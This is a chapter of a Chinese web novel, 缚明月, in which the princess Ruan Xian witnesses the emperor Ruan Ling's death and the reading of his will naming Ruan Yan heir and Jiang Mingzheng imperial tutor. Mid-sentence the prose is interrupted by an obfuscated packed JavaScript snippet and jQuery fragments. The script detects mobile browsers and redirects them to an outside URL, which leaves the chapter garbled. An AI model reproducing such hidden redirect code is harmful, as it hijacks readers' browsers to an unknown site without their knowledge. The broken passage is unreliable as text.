43. 手足情深

作品:《缚明月

    正月三十的清晨,阮娴为噩梦所困,早早清醒后,在书房中静坐焚香。


    这夜的梦,与之前那场别无二致,似乎在向她预警危险的迫近。


    阮娴垂眸望着香炉,一缕青烟从中徐徐升起,冲淡了梦中的血腥气。


    一切都在计划之中稳步推进,可她心头上始终萦绕着几分不安。


    她一度以为她的梦预示着未来,因为那场关于孙芸母女的梦曾原封不动地在她面前上演,每一个细节都与梦中别无二致。


    可奇怪的是,昨夜梦中,她看见的仍是那个惨淡的结局,梦中还是有流光,还是有阮彦。


    为什么?


    明明这一次她成功改变了现状,为什么梦还会沿着原始轨迹行进?


    这种离奇的偏差扰乱了她的认知,她不知道这场梦还能不能信。


    阮娴苦恼地长长叹了一口气,气息吹散了那缕直烟,如同她此刻飘摇不定的心绪。


    恰在此时,素月匆匆忙忙的脚步声传入了屋内。


    “殿殿殿下不好了!”


    阮娴眼皮一跳,知道是噩耗来了:“莫要慌乱,捋直气说话。”


    “福顺公公请您与小殿下入宫,说是陛下、陛下他……”


    “彦儿也要同去?他的病还未好全,恐怕不宜入宫。”


    “福顺公公备有两顶轿辇,说是无论如何小殿下都必须在场。”


    “……我明白了。”


    有福顺亲自引领,两顶轿辇畅通无阻,一路直趋后宫。


    到了宫中,阮娴以阮彦重病为由,将阿樵暂时安顿在长生殿的偏殿,而后才随着福顺前往长生殿。


    他们步履匆匆地走在宫道上,一如梦中场景,只是阮娴确信,这一回,长生殿中决不会出现阮彦。


    长生殿的牌匾很快出现在眼前,她一踏入门槛,苦涩的药味和血腥气扑面而来。


    女眷们很齐齐整整地候在殿外,消失的阮彦的让阮娴心安了不少。


    还好还好,发生变化了。


    她走进内室,崔元青唤了一声“长徽”,给她让出位置。


    每一个画面都与梦中相同,可微妙的错位感仍然存在。


    比如,她的情绪远不如梦中激动。


    只是,见到床榻之上形容枯槁的阮令,阮娴忽然觉得心脏被狠狠刺了一刀。


    泪水不知何时模糊了眼眶,她情不自禁地握住他骨瘦嶙峋的手:“陛下……”


    “你来了。”阮令提起一口气,强行吊起精神,费力地扯起嘴角。


    阮娴听得不忍心:“不要说话了,陛下。”


    他执拗地摇摇头,吃力地回握住她的手:“不要叫我陛下,好不好?你从前,不会这样叫我。”


    他的话牵动了公主的记忆,一时间,阮娴眼前浮现出眼前人年少时的模样。


    阮令比公主年长整整五岁,从她记事起,他就已经是一个沉稳缄默的少年。


    端容皇后是一位严厉的母亲,对于唯一的儿子要求极高,在公主的记忆中,这位哥哥不是在读书就是在习武,无论严寒还是酷暑,从未有过半刻松懈,与整日带她玩闹的太子哥哥,完全是两个极端。


    公主是被无度的宠爱滋养出来的花朵,她不明白为什么母后娘娘要这样苛待自己的孩子,明明最应该疼爱他的人,却对他施加这样残忍的苦难。


    她十分心疼他的遭遇,因此总是偷偷去见他,给他带甜点零嘴,给他讲生活趣事,她想让他开心。


    虽然他一直冷冷的,动不动赶她走,但她从来不介意这些。有时候他会忍不住偷笑,虽然他从来不承认,可她还是会收获到莫大的成就感。


    见她沉默不语,阮令苦笑着摇摇头:“我知道,你心里怨我。叫不出口,也没关系。”


    阮娴吸吸鼻子,抹了把泪,眼前恢复清明,撞见他苦涩的目光。


    她泪中带笑,轻轻唤道:“二哥哥。”


    人之将死,她何必再给他找不痛快。


    阮令闻言,眼中霎时泛起波光:“知知……”


    阮娴眸光轻颤,从他这个陌生的称呼中,找回几段极其久远的记忆。


    “知知”是公主的乳名,公主的生母宜妃娘娘说,她出生在一个炎热的夏夜,婴儿的哭声与蝉鸣一起划破夜空,母亲希望她也能像这些知了一样,热烈旺盛,明媚灿烂。


    她喜欢这个名字,可先帝似乎并不喜欢。她是唯一一个出生就有封号的公主,先帝给她赐号“长徽”,所有人都叫她“长徽”。


    只有母亲会在私底下这样叫她,她以为随着母亲的离世,这个名字也被带入了坟墓。


    阮娴一直知道她与公主之间的这份渊源,但也一直没太在意,因为她的小名是“阿宁”,因为世上再也无人这样称呼公主。


    可骤然听到这个称谓,她却鼻尖一酸,又泛起眼泪来。


    仿佛这一刻,她真的成了公主,他真的成了她的兄长。


    “原谅我的不坦率,明知你期待被这样称呼,却到如今,才敢这样唤你。”


    他深深地喘了几口气,压下喉间的痒意,执拗地开口:“知知,你不要为我哭泣,我这样软弱无能的人,配不上你的眼泪。”


    他如记忆中一般,开始诉说对她、对兄长、对父皇、对母后的愧疚,阮娴用力地摇头,眼泪怎么也控制不住,大颗大颗地往下落。


    她劝他不要再说了,她什么道理都明白,她知道他的不得已,她早就不恨他了。


    话中真真假假,阮娴其实并不清楚,可也不愿去深究,她只想抓紧时间消解他的愧疚。


    因为她知道,这番话结束,他就要咽气了。


    在昨夜的梦中,她只期望这个过程能快一点再快一点,让她看清夜色下那个刺客的模样,确保那人已被崔元青清除。


    可现在,她头一次期望时间能停下来,她想让她的眼泪等一等,他说话的速度已经跟不上了。


    他的声音越来越低,他的指尖动了动,缓而又缓地抬起来。


    阮娴连忙抓住他的手,胡乱在自己脸上抹着眼泪:“哥哥,你不要睡,你再看看我,再跟我说说话好不好?哥哥……二哥哥!”


    最后一丝力气消散在苍白枯瘦的指尖,他无力地合上眼,嘴角噙了一抹释然的笑。


    阮娴不知道自己是怎么走出寝殿的,在福顺泣不成声地宣告“陛下驾崩”后,她只觉得头晕目眩,无力地瘫坐在地上。


    好奇怪,她与阮令明明就见过几次面,他没有一次给过自己好脸色,难道是因为公主的心还爱着他,所以她才会心痛得这样厉害?


    她捂着心口,大口大口喘着气,试图迅速让心情平复下来,可却始终停不下抽抽搭搭的哽咽。


    而现在,也没有阮彦在她身旁,借她一个肩膀靠靠。


    大殿之中全是阮令的妻妾和手足,偏偏她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846010|189850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个“外人”哭得这样惨烈。


    她无力地掩着面想要藏起脆弱,忽然一个温热的怀抱靠了过来,轻轻将她抱在怀里。


    “三皇姐,你还有我们呢。”


    柔柔细细的声音有些陌生,阮娴移开指缝,后知后觉地认出阮妤。


    “是啊,皇兄若见你这样难过,肯定走得不安宁。”


    阮妙挺着个大肚子,只能小声安慰着,摸摸她的背为她顺气。


    阮娴本来努努力还能将情绪压下来,见到她们如此,一下子更是受不了了。


    她死死抱着阮妤,宣泄似的将泪水全都埋进她的颈窝。


    阮妤轻轻拍着她的背,轻声细语地哄着她。她也才刚刚十六岁,却比她这个当姐姐的更像姐姐。


    随着皇帝驾崩信号的发出,殿外待命的大臣也开始忙碌起来,着手准备阮令的丧事。


    崔元青没有计较阮娴的失态,路过她时,还轻轻拍了拍她的肩膀表示安慰,而后很快就投入丧仪的筹备中。


    许久之后,阮娴终于缓了过来,不好意思地抹了把脸,对阮妤道谢。


    阮妤受宠若惊地摇摇头,眼眶红红,耳垂也红红。


    -


    阮令的灵柩安置在两仪殿,阮娴上午入宫,带着阿樵前去时,宫城已经笼罩在一片薄暮之中。


    两仪殿上全是重臣,一个个气场强大不怒自威,吓得阿樵满手是汗。


    见到阿樵面纱下若隐若现的可怖红斑,众人不约而同屏住了呼吸。


    阮娴虽然眼睛还肿着,可也不耽误观察他们的神情:“彦儿伤病虽未痊愈,却已呈现好转的迹象,只是余热红疹未退,诸位大人不必担忧,只需保持适当的距离,万事有我这个做姐姐的承担。”


    说完,她轻轻捏了捏阿樵的手,又压低声音嘱咐道:“别怕,照我说得做。”


    阿樵忐忑地点点头,四肢依旧僵硬。


    崔元青等在灵柩前,见他们站定,让刘福禄宣读阮令的遗诏。


    这一段经历她梦中是没有的,可能是直接被突如其来的兵变打乱了。


    眼下一切平稳有序地进展着,就说明禁军已经有效抵御了随王的进攻。


    阮娴扶着阿樵跪下,在刘福禄苍老尖锐的声音中,听见了这道旨意包含的三层内容。


    第一,阮令死后,皇位传位阮彦。


    第二,新帝年幼,特赐崔元青临朝听政之权。


    第三,安排托孤重臣。


    前两层是阮娴早已预料到的,第三层中,却有一条她始料未及:


    阮令将江明徵封为了天子帝师。


    阮彦年幼,确实需要师长在旁教导,只是江明徵年纪轻轻,如何能当此大任?


    帝师一职,一般为太师、太傅、太保,这些职位在煦朝是向来是虚职,都是作为荣誉头衔,加封给德高望重的老臣。


    而阮令,虽任命江明徵为天子帝师,却未抬他官位,他在朝中仍任中书舍人。


    这似乎不合规矩。


    但阮娴转念一想,江明徵是崔国公最得力的走狗,他做天子帝师,自然少不了崔氏的授意。


    阮令身上留着崔氏的血,他的心自然向着崔氏,可阮彦与崔氏毫无关系,他只是现在年龄小好掌控。为了确保阮彦的心一直向着崔氏,天子帝师必须是崔氏的人。


    遗诏宣读完毕,满堂重臣无一人持反对意见,正好坐实了她的猜想。